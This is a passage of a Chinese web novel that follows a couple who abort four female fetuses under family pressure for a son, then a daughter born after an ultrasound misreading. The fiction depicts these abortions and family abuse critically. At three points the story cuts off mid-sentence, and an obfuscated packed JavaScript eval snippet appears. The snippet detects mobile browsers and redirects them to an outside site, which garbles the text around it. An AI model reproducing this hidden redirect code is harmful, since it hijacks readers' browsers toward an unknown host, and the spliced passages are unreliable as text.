《寄养的哥哥和疯批的我》 1. 一场旧梦 丙泊酚从静脉注射进去的那瞬,易伍只觉得身体突然变得轻盈。 灵魂仿佛脱离母体漂浮到了天上,孤独而冷静地审视着手术台上的她。 世界的边界开始溶解,意识如潮水般退去。她被一层柔软的云雾包裹,所有的声音和光线都变得遥远朦胧。 浸泡在往日时光的洋流里,她不断回溯,逆流而上。 * 易伍之所以给自己取名为易伍,是因为她曾有过四个姐姐。 之所以说“曾”,是因为这四个姐姐还没来得及看一眼这人世间的太阳,就匆匆返回天上去了。 易伍的出生源自一个美丽的错误——母亲谷佳慧负责美丽,父亲易国昌负责错误。 谁能想到,现在躺在瑞康精神病院,令护士头疼的三床402,年轻时却是周围所有女孩艳羡的对象呢? 谷佳慧生在容城,长在容城,盘正条顺、天真烂漫。每天扎着麻花辫,高高兴兴去夜校上课。一下学,成群结队的年轻小伙就围了上来。他们讨好、献媚、买花唱曲,只为博美人一笑。 可谷佳慧对这些不学无术的街溜子实在是毫无兴趣。她要嫁的,是这世间一等一的英雄好汉!他最好长相英俊、风度翩翩、机智幽默、学识广博,还要爱她、宠她、照顾她。 谷佳慧的父亲,也就是易伍的外公,彼时是容城第一大国营棉纺织厂的厂长。 一次,跟着父亲巡视工厂车间,扎着麻花辫的漂亮姑娘谷佳慧与刚刚进厂做质检的英俊工人易国昌一见钟情。 易国昌到底跟那些街溜子有哪些不一样?谷佳慧一时半会儿也说不上来,用现在年轻人的话,大概是“生理性喜欢”? 一靠近他,她就感受到那股桀骜不驯的气质,还有......出淤泥而不染的清高。 接触了几次后,这种喜爱更甚——易国昌明显比其他男人更有闯劲和野心,这从他狼一般锐利的眼睛里就能看得出来。 谷佳慧的眼光不错,易国昌也确实和她想的那样,是个懂艰苦奋斗,信知识改变命运的五好青年。 每天车间工人下班回到宿舍都是围聚在一起搓麻将打扑克,只有他一个人挑灯夜读,积极准备着参加刚恢复不久的高考。 两人你侬我侬,爱得难舍难分。直到珠胎暗结,谷佳慧的父母才猛然发现,一向懂事乖巧的女儿竟然犯下了大错。 可恰好这时,易国昌高考的成绩传来——他竟然考上了燕城最好的三所大学之一!80年代的大学生,在那时可真算得上稀罕事。 谷佳慧的父母从狂怒转为狂喜。 他们想,趁着谷佳慧的肚子还能遮掩,应该立即操办两人的婚事,拉埋天窗。如若被外人知道,厂长女儿被车间工人搞大了肚子,还不净惹街坊邻居笑话? 婚事很快敲定,谷佳慧沉浸在新婚的喜悦里,一整个晕头转向——自己是童话故事里的公主,有眼光,更有魄力,竟然真找到了一只金凤凰。 很快,她就会随着易国昌一起迁居燕城,那可是人人梦寐以求的大都市。等易国昌大学毕业,分配到燕城任何一个地方工作都不可能会差。 她呢,就安心在家带孩子。不求大富大贵,只求平安顺遂。 定亲时,谷佳慧第一次见到易国昌的母亲。 她的婆婆,一个朴实又勤劳的农村小学教师,早早丧夫,一个人含辛茹苦带大了易国昌。 刚见面,双方还没自我介绍,婆婆就满脸笑容地抚上了谷佳慧微微凸起的肚皮——肚子尖!未经谷佳慧同意,下一秒又直接掀开了她的裙子——肚脐内凹! 一整个大喜,婆婆言之凿凿:肯定是男孩! 谷佳慧倒不觉得男女有什么区别,不都是自己身上掉下来的肉?女儿也好啊,妈妈的贴心小棉袄,就跟她自己一样。 婚宴办得热闹喜庆,人人都羡慕易国昌攀上了厂长女儿这根高枝,又考上了燕城的大学,以后飞黄腾达还不是迟早的事? 有人过来敬酒,对着易国昌的耳朵蛐蛐:“好啊你小子可真厉害,该不会考去燕城,也是老丈人家帮忙搞定的吧?” 易国昌听了这话,本来神采飞扬的脸突然垮了:“猫尿喝多了?跟我这胡咧咧。” 婚宴结束,谷佳慧带着娘家给的嫁妆,随易国昌北上。 谷佳慧在燕城给易国昌当陪读,每天安心待产。夜大早就不去了,没事就在家里织毛衣。 她选的毛线很多是绿色,挺平和均衡的颜色,男女都能穿。易国昌看了只是笑:“草绿?男孩子穿这个,多难看啊。” “你怎么知道一定是男孩呢?”谷佳慧一边挑针一边笑,“万一是个闺女呢?” 易国昌沉默了,良久后才皱着眉头开口:“我妈说肯定是男孩。” * 怀胎四个月,易国昌鬼祟又兴奋地告诉谷佳慧,他在乡下诊所托了个熟人,可以照B超,帮忙看男女。 “这是违规的,上面不让这样。”谷佳慧摇头拒绝。 可禁不住易国昌一日又一日的软磨硬泡,她最后还是去了。 从诊所回家的路上,易国昌一直在踢石子儿,闷着头一句话也不说,连给谷佳慧拿包都没个好气。 谷佳慧觉得莫名其妙。姑娘怎么了?毛主席还说妇女能顶半边天呢。 几天后,易国昌给他妈打了通电话,喝了个烂醉,回来抱着谷佳慧痛哭流涕:“佳慧啊,这娃娃我们不能要。我以后是要往上走的,咱们只能有一个娃娃,那必须得是男孩,不然易家到我这就绝后了啊!” 谷佳慧从小到大没发过这么大的脾气,到最后嗓子都哭哑了。 不要?现在说不要?辛辛苦苦熬过孕吐,怀胎四个月,就因为是个女孩就不要了? 可这之后的每一天,易国昌都在她面前下跪,痛哭流涕苦苦哀求。他说他三代单传,如果香火断在他这里,他妈是没办法下去见他爸的。 他还说,隔壁家的媳妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996650|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是怀的女孩,刚去做手术拿掉了,简单得不得了。跟来了次月事一样,很快什么都解决了。 易国昌一日又一日地持续进攻,婆婆也从老家专门过来,进门后直接扑通给她跪下。 她细数自己养大易国昌多么不容易,香火如果断在这儿,她不如一头撞死——说着她便要朝桌角撞去,被谷佳慧立马拦住。 谷佳慧动摇了。 如果他家三代单传这么想要男孩,那姑娘出来肯定也不受待见。与其卡在这儿左右为难,还不如......干脆遂了他的心愿? 可这流产手术和易国昌轻描淡写的“简单”真是差了十万八千里。 子宫颈被海带棒强力扩张,像一把钝刀撬开她的身体。探针探到宫腔最深处,如同一条蛇在她体内翻搅。 刮宫的痛让她几乎晕厥。下腹部抽搐痉挛,像是比最严重的经痛还要痛上百倍。她的手术服被汗湿透了,恨不得能挤出水来。 下了手术台,她愤恨地看着易国昌,想咒骂却完全没有力气。眼前的男人焦急又心疼地看着她,可她却觉得那双眼如此陌生冰冷,快要不认识了。 原来明明不是这样的啊。 娘家来问,她压根不敢说真相,只吞吞吐吐说孩子掉了。自己的妈说要来照顾小月子,她推说有婆婆在不用了。 这是自己挑的人,父母一开始坚决反对,她还绝食抗争。现在不管易国昌是人是鬼,她都只能打落牙齿和血吞。难道.......还能离吗? 这次之后,易国昌对她越发照顾有加、关怀备至。在家几乎不让她下地走路,到哪里都是抱。家务做饭他一手全包了。 日子逐渐过去,看着易国昌又要上学,又在家里忙前忙后,谷佳慧的气就这么渐渐消了。 等开春她第二次怀孕,这次没有喜悦,只有忐忑。她惴惴不安地问易国昌:“如果......如果这次还是个姑娘,怎么办?” 易国昌笑她傻:“你学过概率吧,怎么可能呢?哪能那么巧,还连着两胎都是女的?” 从B超医生那里出来,谷佳慧惶惶然觉得脚步不稳,趔趄一下差点摔倒。 竟真的又是女孩! 她让易国昌发誓,接受现状——她再也不要像个牲口一样躺在手术台上撕心裂肺地嚎了。 易国昌只是抽烟,一路无言。 几天后,他突然兴奋地抱住谷佳慧:“我听说现在新出的,可以打全身麻醉的流产,一点都不难受。你就去做那个吧!” 谷佳慧手上的茶杯掉到地上,摔出了清脆的声响:“你......你在说什么?你疯了?这是抽奖吗,一直抽不到就一直抽?” 易国昌抚着她的背耐心解释:“你想啊......第一次受了那么大罪,给我心疼坏了。现在要把这个生下来,那你第一次的罪,不就都白受了?” 谷佳慧没学过经济,不懂沉没成本是什么,但是这句话真戳到她心窝上了...... 2. 一个指头 为了确认自己说的是真的,易国昌找来做过无痛人流的女性朋友现身说法。 “真的一点儿都不疼!骗你是小狗。睡一觉醒来,什么都解决了。” 说完,那妇女抚着自己肚子,“我们也是想拼个儿子,你看,这不就有了吗?” 这一次,谷佳慧确实感觉不到身体上的疼了。但是等麻醉消退,她醒来,心居然比做传统的那次更难受。 肢体上的疼痛全部腾挪到了心窝,像个溃烂的蚁穴被掏空,成群的蚂蚁无处安家。 这次从怀孕到流产,她全程都没有告诉爸妈。 易国昌依然千般疼万般宠,事无巨细地照顾她。婆婆也过来了,帮忙操持家务,让她能好好休息。 她躺在床上一言不发,泪水顺着侧脸大颗滚落,却是凉的,没有一丁点温度。 她默默地想,走到今天,到底是谁错了呢? 她婆婆和易国昌孤儿寡母三代单传,想要个孙子传宗接代,好像没有错?上面的政策肯定不可能有错。给她做检查的B超医生是好心帮忙,更不会有错。 那错的只能是她自己了。 她开始整宿整宿地做噩梦,梦到下一胎还是女儿。如果还是,该怎么办?易国昌反复劝说不可能,他从概率生物学统计学各个角度给她分析,下一胎只可能是儿子—— 结果又是女儿! 易国昌也接近崩溃,但他安慰人的话术没变过——这是最后一次了,三次,三次了啊!老天不会这么捉弄人的。如果这次不弄掉,那前面两次不就都白费了? 再次躺上手术台的时候,她整个人都麻木了。麻醉的时候,医生和她确认姓名,她都快忘了自己叫什么。 谷佳慧,谷佳慧,谷佳慧。佳冶窈窕,秀外慧中,包含着父母对她的热切祈盼。 他们教会她很多,温良恭俭让、孝悌忠信、贤良淑德。但是好像却从来没教过她,如何变得尖锐,如何露出锋芒,如何保护自己。 这次手术之后,一提到房事她就觉得恶心。 易国昌的事业倒像坐上了火箭,简直顺风顺水。他以全系第一的成绩从大学顺利毕业,一毕业就被分配到了电网,谷佳慧也跟着他一起,搬进了燕城市中心宽阔敞亮的单位宿舍。 她明显感觉到易国昌变得越来越忙,对她的关心和照料都在逐渐变少,但谷佳慧想,这也不能怨他。 易国昌白天辛苦工作,晚上回家还要挑灯夜读准备考证。领导器重他,才对他委以重任。 他们之间的交流变得很少。 平常她除了做饭打扫做家务,剩下的时间都是枯坐着,看着窗边金乌沉落,一轮新月挂上枝头。 又一天过去了,像过去365天中的任意一天一样,沉闷、冗长、乏味,没有任何新意。 她已经很久没有织毛衣了。 可她的故事却在容城三亲六眷那里成了传奇。人们都说她谷佳慧慧眼识珠,找到这么好的另一半,住上了燕城市中心的大房子。老公是体制内的金饭碗,她只用在家闲散地当个家庭主妇,什么都不需要操心。 父母自然也是替她高兴的,但通电话时,他们总会关切地问上一句:“你们还没要小孩?之前那个掉了,现在也过了这么久,还没有吗?要不要去医院看看啊?” 谷佳慧只能尴尬地笑:“还年轻呢,不着急。” * 开春后,她终于第四次怀孕。 毫无疑问老天继续开着可怖的玩笑——又是姑娘。可这次,她难得坚定地看向易国昌:“不打了。无论如何,我也不打了。” 可这次都不需要她去打,因为孩子自己掉了。 医生看了她的病历,说这有可能是习惯性流产,让她一定务必照顾好自己身子:“男人嘛,他们懂什么?流产也好,生产也罢,他们能替你疼吗?除了播种那下使了把力,他们还做了啥?孩子是你自己的,身体也是。” 谷佳慧卧床休养了好久。 这几年一到下雨天她浑身就疼,好像经年累月的旧疾一股脑全部跑出来作祟。 这次更严重了,身体昏沉,根本不想动,只想在床上躺到天荒地老。 与此同时,她感觉到易国昌变了。 之前每次她做完手术,易国昌总站在手术室外等。回到家后,他看向她的眼神总是充满疼惜。陪她说话宽慰她,对家务大包大揽,连点冷水都不让她沾。 但这次,他却推说自己手上有个项目,领导很重视,忙得晕头转向。 最后他连假都没请,只把婆婆喊了过来。 婆婆见了她,支支吾吾欲言又止:“佳慧啊,要不然我们去拜拜?这老是怀闺女,你这肚子到底.....是咋回事嘛?你看我当初,多顺利就有了国昌,当天生完他我就下了地,压根不像你这样啊。” 谷佳慧没说话,只默默地翻动着铲勺。 * 春去秋来,易国昌成了领导身边最得力的秘书,与此同时,谷佳慧也怀上了第五个孩子。 以往他们每次回容城,都是找熟人偷偷查。可这一次熟人恰好不在,只转介绍给了另一个医生。 年轻女医生,看上去不过二十岁出头。陪在她旁边做教学督导的,是个年龄和资历明显长她很多的中年医生。 年轻医生把超声探头放在谷佳慧的肚皮上,冰凉的耦合剂让她浑身一颤。 超声影像的黑白屏幕下,易伍显现出了她那小小的侧脸。 冰凉的探头四处滑动,谷佳慧紧张得连呼吸都忘了,觉得脑袋里缺氧,好像下一秒就要晕过去。 像是在等待末日的终极审判一样。 终于,像是过了一个世纪那么长,年轻医生朝向易国昌缓缓开口:“你有兄弟姐妹吗?” 易国昌回答:“有个妹妹,怎么了?” “她有孩子吗?” “有啊,我妹有个儿子,三岁。”易国昌有些疑惑为什么会问这个,但是下一秒医生说的话让他醍醐灌顶。 “那好,可以少买点东西。他那边的衣服裤子,你们可以接着穿了。” 易国昌张大了嘴,下一秒他的狂喜声震动了整个诊室:“谢谢,谢谢您!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996651|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷佳慧像还没听懂似的,抓住了年轻医生的手:“您说的这什么意思?能不能直白点?我有点听不太明白。” 易国昌笑着斜瞥了她一眼:“你啊你,傻了吗?人家这意思.....” 医生怕违规不敢明牌透露胎儿性别,所以只能使用各种暗示。 谷佳慧后知后觉,终于也感到了一阵狂喜,摧枯拉朽像龙卷风过境。 努力了这么多次,终于......终于!激动的泪花从她眼眶里蹦出,她紧紧握住了易国昌的手。 可这狂喜的情绪似乎并没有持续多久。很快,往日的恐惧和悲凉又重新袭了上来。 她想起了之前流掉的四个孩子,心隐隐作痛。另外,她还非常担忧,怕习惯性流产,不知道能不能保住肚子里的这个。 易国昌像是看出了她的忧虑。 他紧紧地将她托腰抱起。终于,久违的,他抱着她出了医院,让她脚不沾地地上了出租车。 * 他们离去后,B超室里的中年医生拍了拍年轻医生的肩膀。 “还是年轻啊,刚刚看错了吧。” “啊?”年轻医生一脸迷茫。 “你刚看到的那一小段,你以为是生.殖.器啊?明明是小孩的指头嘛,这都没看出来?” 年轻医生难以置信地吞了吞口水:“不......不会吧。是指头?那您刚刚怎么也不提醒我?他们没走远吧,我去给他们追回来。”说着就要起身,却被一把拦住。 中年医生推了推眼镜:“莫急。你看了她病历吧?......人流三次,自然流产一次,这家人想儿子想疯了!但是刚刚照B超,你看她子宫壁都薄成啥样了?这次再告诉她是女儿,他们再去做流产,以后怀不上是肯定的了。再坏点,有可能大出血一尸两命!” 年轻医生惊讶地长大了嘴巴,她确实没想这么多。 “那,那骗人也不好吧?”她踌躇着说道。 “骗人?这怎么能是骗人呢?分明是救人!还是一救救俩。”中年医生无奈地摇了摇头,“是男是女都是缘,命中注定的东西......我反正真搞不懂这些人。” “可是,万一人家以后看到是个闺女,上门来找我算账怎么办啊?” 中年医生翻了个白眼:“本来政策就不让做性别鉴定,这些人挖空心思到处托人,就是想让医生犯错误。本来他们就不占理。就算货不对板,他们敢来闹?公职还想不想要了。再说了,B超看性别,准确率又不是百分百。看错了,判错了,这不是都很正常嘛。” 她眯起眼睛挑着眉毛,满脸含笑地看着年轻医生:“而且......你知道刚刚那娃娃,伸出来的是哪根指头吗?” 年轻医生摇了摇头。 中年医生一脸神秘地说:“一看你就不听摇滚乐......刚刚你用探头看她,她啊,直接在下面对着你比了个愤怒的中指啊!那感觉好像在说,你敢把我弄掉试试?哈哈,这么有个性的娃娃,多他妈带劲啊!” 中年医生爆发出了爽利的笑声,笑声响彻整个诊室。 3. 一个女娃 谷佳慧生产的过程可谓是惊心动魄。 因为很早便开始见红,她只能大门不出二门不迈在床上躺了整整九个月,保胎针多到快把屁股戳烂了。睡到半夜,四肢僵硬,可她连翻身都不敢,直直挺着,生怕一个翻身,就把孩子压到了。 这是个来之不易的男孩,一个比金子更珍贵的男孩。 易国昌难得放下了手上的工作,又恢复了往日的殷勤备至,像公主一样将谷佳慧供奉了起来。婆婆喜气洋洋老早就来到燕城照顾她,每天各种土方子稳胎安胎,滋补的东西吃了一箩筐。 即使吃到肚胀难忍,她也依然被婆婆劝说要坚持住,莫娇气,她的大孙子需要很多营养。 谷佳慧一边咽下苦似黄连的中药,一边觉得扬眉吐气,苦尽甘来。她终于用一个闪闪发亮的儿子证明了自己的生育力,往日的郁结几乎一扫而空。 终于到了生产这天。 因为吃的补品太多,又一直躺在床上不动,谷佳慧肚大如箩。花了一天一夜勉强开到三指,她已经疼得浑身湿透,连叫唤的力气都没有了。 “产妇对催产药不敏感,开指很慢,现在羊水浑浊,没办法等了,你们看看要不要转剖啊?”护士出来询问。 婆婆异常激动,声音都变了调:“不剖,我们绝对不剖!我孙子必须顺产,顺产的娃娃才聪明有福气!” 说完,她拉住小护士的手,满脸堆笑,“拜托了姑娘,再让佳慧试试吧。城里长大的姑娘,终归是娇气些。不像我,当年顺完马上就下地干活了啊。你看看我儿子现在,多好啊,名牌大学生!” 易国昌急忙打断:“妈,现在说佳慧,您扯我干嘛?” 谷佳慧的母亲急匆匆上前:“医生觉得怎么样好?我们听医生的。他说剖我们就剖。我姑娘熬了一天一夜,疼得直叫唤我在外面都听到了。就算开全了,人都没力气了,还怎么顺得下来?到时候顺转剖,不是受两道罪?”说完,她面色愠怒地瞪了易国昌他妈一眼。 易国昌他妈连忙赔笑:“亲家别误会,我也是为了佳慧好,不然肚子上那么长一道疤,多难看啊。” 就在他们交谈之际,护士被产房里的人叫了回去:“快回来,新换的催产药有效果,产妇开八指了!” 开指快,也意味着没有缓冲。痛感陡然飙升到常人无法理解的程度。 谷佳慧觉得有个人在扯着她的肠子跳舞,五脏六腑好像被一个巨大的搅拌机搅烂了,也像是有人抡起大锤毫不留情地撞击她的肚子。 疼痛让她灵魂出窍,也让她又一次想起了之前的四个孩子。 因为有这个儿子的存在,之前的所有牺牲才有了意义。在疼痛到几乎疯癫的时刻,她居然笑出了声。 助产士让谷佳慧跟着节奏用力,她却自己觉得耳鸣力竭,只听凭本能胡乱使力,最后一个没忍住,在助产士的训斥声中,她觉得一个巨大的东西从她体内滑落。 易伍呱呱坠地。 助产士惊呼:“让你不要瞎使劲!这撕裂了好大一个口子啊。”其他护士瞬间围了上来,“怎么出这么多血?赶快准备下,缝针啊!” 谷佳慧缝了十几针,可血依旧没有止住,因为那血并不来源于外伤。 生产室的环境一下子变得紧张肃穆起来。医生进来了,更多的护士也跟着进来了。 医生皱着眉头,对着谷佳慧娩出的胎盘细细拼凑检查,发现缺了很大一块:“子宫收缩无力,胎盘剥离不全,要手动剥了。” 谷佳慧还没明白是什么意思,医生已经戴上了无菌手套,面无表情地说:“忍着点。” 医生的左手狠命按上谷佳慧的肚子,右手伸进产道,直达子宫最深处,顺着脐带寻找残余的胎盘。一番捣鼓终于找到后,医生用力将残余部分从子宫壁强行扯下—— 谷佳慧感受到了比生产更恐怖更凄厉更可怕的痛! 剥离一次之后,还没有弄干净——于是第二次进入,产道将医生的小臂完全吞没。 这次,她直接疼晕了过去。 另一边,护士们将易伍头上的血污和胎脂清洗完,给她量了体重,七斤八两白白嫩嫩的大胖闺女!她被裹上整齐的包被,护士抱着她出去,递给易国昌看。 易国昌喜上眉梢,从椅子上一跃而起。 “恭喜了啊,是个姑娘。产妇胎盘分娩不全,你们还得等等。” “姑......娘?”易国昌难以置信地一愣,脸瞬变成土色,“怎么会是姑娘?”他本来去接包被的手迅速回缩,甚至没看易伍唇红齿白的小脸。 易国昌的妈立即冲了过来:“搞错了吧?我们的是个男娃!” 护士皱起眉头:“男娃?明明是女娃,再说了你们怎么知道是男娃?你们是谷佳慧的家属吧?没错啊。” 易国昌的妈立即情绪激动起来:“抱错了,绝对抱错了!这肯定是你们工作失误,我们的是个男孩!我儿子专门托熟人在.......” 还没说完就被易国昌一把拉住,示意他妈收声。吃金饭碗的人,在大庭广众下宣告自己违规做了胎儿性别鉴定?他还没疯到这种地步。 谷佳慧的妈完全不懂他们在吵些什么,看着包被里的娃娃没人接,连忙上前心疼地抱过易伍,一边放在怀里哄着,一边转头问护士:“姑娘,我慧慧怎么样?什么叫胎盘剥离不全啊?要不要紧啊?你可别吓我。” 护士冷静地描述了产房里的情况:“产妇之前经历过三次人流和一次自然流产,所以子宫壁很薄,胎盘容易粘连。另外......她是不是平常补的东西吃太多了?胎儿很大,产程过长,最后子宫收缩无力。现在医生正在给她做手动剥离。你们耐心等着吧。” 谷佳慧的妈听完,整个人大惊失色:“您这说的什么意思?!什么三次人流?佳慧她之前只怀过一次,是自然掉的。” 她还没问完,就被易国昌打断:“护士,这个孩子麻烦你再进去确认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996652|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,应该不是我们的。我们......我们请算命的算过,这一胎绝对是个男孩。” 护士要被这家人气笑了:“头回见你们这样的啊,自己的娃居然都不认?女娃怎么了?这女娃,是我亲手给谷佳慧接出来的,还能抱错了?还什么算命的说是男娃,你妈刚不说你是大学生吗,大学生还能信这个?” 易国昌难堪地低下了头。 易国昌的妈再也沉不住气了:“我们托熟人做了鉴定!你不要想蒙我们!照了那个B超,就是男娃,带把的,这还能弄错了?” 她越说声音越大,“佳慧之前流产那么多次,就是为了给我们易家拼个男娃,你们这医院是黑店啊!人贩子医院啊!合起伙来欺负我们,是打算把男娃卖掉,随便塞个女娃娃给我们是吧?” 说完,易国昌的妈直接一屁股坐在地上,撒泼打滚大哭大闹一条龙起来:“黑心医院欺负我们孤儿寡母啊。偷了我们的男娃,硬塞个没人要的姑娘给我们啊!大家都来看看,替我们做主啊!” 谷佳慧的爸妈现在才模模糊糊听明白事情的原委,气得血压飙升。如果不是因为易伍还抱在手中,恨不得当场就要晕过去。 谷佳慧的爸揪住易国昌的衣领:“你让慧慧去流产?还流了这么多次?我们完全不知道,你个狗东西啊!”说着,他重重地给了易国昌一拳。 易国昌的妈赶快从地上起身去拉,现场瞬时乱成了一锅粥。 这时,另一个护士冲了出来:“还吵!产妇现在大出血休克,已经转急救了,你们还不安静点?非要闹出人命就好了是吧?” * 好像过了有一个世纪般漫长,谷佳慧才从无间地狱里爬出来。她意志如此坚定,再大的痛苦也没浇灭她求生的意志,因为儿子还等着她喂奶。 一睁眼就看到她妈守在病床边,眼睛里全是血丝,握着她的手不停流泪。 见她醒了,她妈又惊又喜,伸出手颤抖地摸着她的头发:“慧慧你醒了,受苦了姑娘,你受大罪了啊!” “妈,这是怎么了?我儿子呢?”谷佳慧气若游丝地问。 谷佳慧的妈眼神躲闪:“护士抱走去喂奶了。你大出血,输了好多好多血,浑身恨不得换了一遍。现在什么都不管,把自己身体顾好啊姑娘。” “不不,不对,出什么事了?我要见我孩子,我要见孩子!”谷佳慧挣扎着要坐起,被她妈一把按住在床上。 她妈哭得声嘶力竭:“你想要你的娃娃,可我也是妈妈,我也心疼我娃娃!别起来!” 母女俩还在拉扯,突然两个护士梨花带雨地冲了进来。 “谷佳慧你可算醒了。我们尽全力给你接生,你大出血我们又忙着抢救,到现在连口水都没喝。七斤八两的女娃娃,你看着我给你接出来的对吧?能不能劝劝你婆婆和老公,不要再在医院闹了。我们真没偷你孩子!” 谷佳慧愣住了,声音都变了调:“女......女娃娃?” 4. 一家疯子 每个孩子在生命初始,一定都疯狂爱恋着自己的母亲。 然而一个母亲是否爱自己的孩子其实是个充满悬疑的未知数。大多数时候答案是肯定的,很少时候是否定,更少的时候是游离在两者之间。 易伍面临的情况可能还要复杂些。 爱或不爱尚且排在其次,亟待解决的其实是生存问题。 经历了流产、难产、手动剥胎盘、大出血休克,死里逃生的谷佳慧虚弱地抱起包被里的易伍。 新生儿一般不大好看,皱巴巴的脸和小老头一样,可易伍不是。 她唇红齿白,皮肤细腻如雪,五官虽然还只是个小小人的样子,却极其端正秀丽。任谁看到,都要感叹句,真是个漂亮的女娃娃。 可谷佳慧看到她的第一眼,却像见到妖怪一样,差点把她直接扔了出去。 “这不是我的娃,我的是个男娃,这不是我的!”她歇斯底里地大声哭嚎。 护士们见她神志癫狂,赶紧把孩子抱走,皱着眉头窃窃私语:“这一家子怕不是都疯了!” 谷佳慧的妈与她抱头痛哭:“姑娘,你振作点啊!女娃怎么了?你也是女娃,有了你,我每天都觉得很幸福。我喜欢女娃,女娃好!” 可谷佳慧只当听不见似的,捂着耳朵,持续性高分贝地疯狂嚎叫着。 易国昌和医院反复扯皮,最后一步步败下阵来。医院拿出如山的证据,他们终于不得不承认,这个女娃确实是他的孩子,大概率是当初的B超判错了。 “你们违规私自鉴定,还把屎盆子扣我们头上?造什么孽,摊上你们这一家子!”接生的助产士简直气不打一处来。 “这B超,女翻男我听说过,男翻女,真的没有听到过一个!”易国昌的妈还在愤愤不平。 “B超鉴定的准确率也就80%多,你们这么想要儿子,家里的地多到种不完?要个儿子刚能走就给你锄地去?” 易国昌虽不情不愿,也只能认下了这个孩子,给她取名“易佑弟”。 为什么不叫“招弟”、“盼弟”?因为他和他妈都坚决认为,男孩肯定会有的。这是个时间问题,不是个是非问题。不需要招,更不需要盼。 他违规鉴定性别的事情逐渐传开,在单位闹得很凶。领导找他谈话,说他公然违反组织规定,降了他的职。 易国昌倒是坦然,他早就不想干了。如果制度阻止他要儿子,他就跳出这里。凭借他的能力,还有改开的东风,不管走到哪里,还不是天高任鸟飞? 可谷佳慧自此一蹶不振,得了严重的产后抑郁。 在那个年代,“抑郁”的概念还不像现在流传得这么广,听到的人都嗤之以鼻,觉得不过是一种矫情的公主病罢了。 可只要一看到易伍,谷佳慧就不可避免地瑟瑟发抖。 这个孩子像面无情的镜子,不断反射出她曾经的错误,让她想起那四个孩子。 回忆如刀刃,刺入灵魂。如果最后是这种结局,之前拼死拼活的所有牺牲岂不都像个天大的笑话? 无力、荒诞又无法抗争的现实,血淋淋惨不忍睹,让她无法承受。 她无法照料易伍,甚至无法给她喂奶,每天将自己锁在房间里不吃不喝。一听到易伍的哭喊,她就觉得比针刮黑板还刺耳,只能用枕头捂上耳朵。 可易伍是个爱吃爱笑,精力旺盛,活泼可爱的小朋友。 谷佳慧的妈给易伍喂奶粉,满脸愤恨不平:“易国昌这取的这是个啥破名?佑弟?慧慧都这样了,他还要生吗?还有他妈,看到是个姑娘,之前说好帮忙照顾月子的,跑得连影子都不见了。诶,你给我换换手,娃娃尿了。” 谷佳慧的爸也只能叹气:“这一家子......哎,真不是个东西。” 谷佳慧的妈一气之下说道:“要不离了算了!带回来,我们养。又不是养不起!” “你说的什么糊涂话!”谷佳慧的爸让她赶快闭嘴,“你是打算让她带着娃娃改嫁,还是打算照顾她娘俩一辈子?你有一辈子照顾吗?” 谷佳慧的爸妈本身年纪就大,慢性病一堆,又因为给孩子喂夜奶昼夜颠倒,最后两人双双病倒。 谷佳慧的婆婆又被请了过来。 刚进门,婆婆就对着易伍就唉声叹气,上下打量的神情如同在看灾星。 是啊,这女娃居然逃过了B超检查,男翻女——她怀疑易家的儿是被她夺了魂,这不是灾星还能是什么? “哎,一个女娃娃,我回老家都抬不起头啊。” 最后她草草下了两碗面,一碗给谷佳慧,一碗给易国昌。 婆婆回厨房继续忙活,谷佳慧机械地吞咽着面条,看也不看在地上到处乱爬的易伍。 最近她迷上了十字绣,手边就是一副快完工的兔子嬉戏图,锋利的针尖恰好插在十字绣的正中央。 易伍爬到易国昌脚边,用力抱住了他的大腿。易国昌正在看报纸,表情不耐,抬腿抽出,让易伍一边儿玩去。 易伍还在闹,易国昌做出一个要打她的动作。 一直只顾埋头盯着碗的谷佳慧,突然站起了身—— 她拦住了易国昌预备打向易伍的手。 “我只是吓吓她,没真打。”易国昌解释。 两人拉扯中,一不小心扫到了易国昌的那碗面。碗着地,碎开,发出清脆的声响。 谷佳慧低头一看才发现,易国昌那碗散开的面条里竟然藏着两个荷包蛋。 她回到桌前,把自己的那碗用筷子从头挑到尾,什么也没有,素面。 婆婆听到声响从厨房跑了出来,看到地上打落的碗和散开的面神情尴尬,赶快用簸箕把垃圾扫走了。 然后,她用苕帚重重打上了易伍的屁股:“让你到处乱碰,叫你浪费粮食!” 可奇怪的是,易伍居然没有哭!越打她,她反而笑得越厉害,咯咯咯的声音听起来又可爱......又有些瘆人。 这下婆婆更生气了:“灾星!这就是个妖怪变的!” 在一旁的谷佳慧终于冷冷发话:“妈,别打佑弟。不是她弄的。” 谷佳慧抱起易伍,拍打掉屁股上的灰尘,第一次将她拥入了怀中。 她想,这是她的娃娃,历经千难万险才拼出来的娃娃,一个让所有人包括她自己都大失所望的娃娃。 